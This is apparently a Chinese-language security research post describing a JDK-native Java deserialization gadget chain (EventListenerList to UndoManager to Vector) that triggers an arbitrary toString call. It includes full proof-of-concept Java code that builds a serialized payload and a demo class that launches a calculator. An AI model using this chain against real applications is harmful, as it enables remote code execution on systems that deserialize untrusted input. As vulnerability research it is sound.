EventListenerList触发任意toString

这是一条JDK原生toString链

javax.swing.event.EventListenerList#readObject

image

可以看到这里我们需要找到能够强制转换为 EventListener 类型,并且实现 Serializable 接口的类

这里找到的就是UndoManager类,它实现了UndoableEditListener接口

image-20260106160050393

而UndoableEditListener接口又继承了EventListener类

image-20260106160056697

回来看UndoManager类也继承了CompoundEdit类,向上继承了AbstractUndoableEdit类,这个类继承了Serializable接口。

image-20260106160137961

image-20260106160146316

从readObject方法进入了add方法,第二个参数,l属性是UndoManager对象。跟进add方法,可以看到,这里判断了传入的l对象是否是java.lang.Class类型,至于为什么是java.lang.Class ,在文章末尾会讲到。那显然UndoManager对象不是java.lang.Class类型。所以这里就会进入到if语句里

image-20260106160253613

if里抛出了一个error,里面进行了字符串与对象的拼接,这里很明显就是隐式调用了UndoManager对象的toString方法了。

javax.swing.undo.UndoManager#toString

UndoManager#toString`方法:这里的limit和indexOfNextAdd两个属性都是int,没有可以利用的地方,继续向上进入`super.toString()`,也就是`CompoundEdit.toString()

image-20260106160703145

CompoundEdit.toString()方法: 这里inProgress属性是int,而 edits是 Vector类的对象

image-20260106161107780

相当于就会隐式调用Vector.toString方法

java.util.Vector#toString

image-20260106161233424

继续跟进super.toString方法,到了AbstractCollection.toString

image-20260106161253728

这里新建了一个迭代器,把对象传递给StringBuilder.append方法,我们可以通过Vector.add方法把恶意类添加进去。

image-20260106161543916

继续跟进StringBuilder.append方法,到这里就实现任意toString方法调用了。

image-20260106161621839

image-20260106161629705

Tip:

最后需要注意的是,在最开始的EventListenerList#writeObject中,我们需要让UndoManager对象被这样写入:s.writeObject(l);,而这里的listenerList属性是一个对象列表,在writeObject中进行了一个for循环,在列表里的第双数位才会被s.writeObject(l);这样写入,所以我们需要在UndoManager对象前面在加一个Class。

回到最开始的问题上,这里我的poc里填的是Class.class,其实只要不是UndoManager.class就行

image-20260106162924745

POC

User类

package org.example;

import java.io.IOException;
import java.io.Serializable;

public class User implements Serializable {
    public String name;

    public User(String name) {
        this.name = name;
    }

    public String toString(){
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        return "name: " + name;
    }
}

Main.java

package org.example;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;

public class Main {
    public static void main(String[] args) {
       try {
           User u = new User("xuanxuan");
           EventListenerList eventListenerList = getEventListenerList(u);
           String a = serialize(eventListenerList);
           System.out.println(a);
           unserialize(a);
       }catch (Exception e){
           e.printStackTrace();
       }
    }
    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();

        //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);
        setValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }
    //反射改值
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    //获取已实例化类中的值
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Field getField( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if (field != null)
                field.setAccessible(true);
            else if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        } catch (NoSuchFieldException e) {
            if (!clazz.getSuperclass().equals(Object.class)) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
    //提供需要序列化的类,返回base64后的字节码
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        return poc;
    }

    //提供base64后的字节码,进行反序列化
    public static void unserialize(String exp) throws IOException,ClassNotFoundException{
        byte[] bytes = Base64.getDecoder().decode(exp);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = null;
        try {
            objectInputStream = new ObjectInputStream(byteArrayInputStream);
        } catch (Exception e) {
            e.printStackTrace();
        }
        objectInputStream.readObject();
    }
}

image-20260106165426706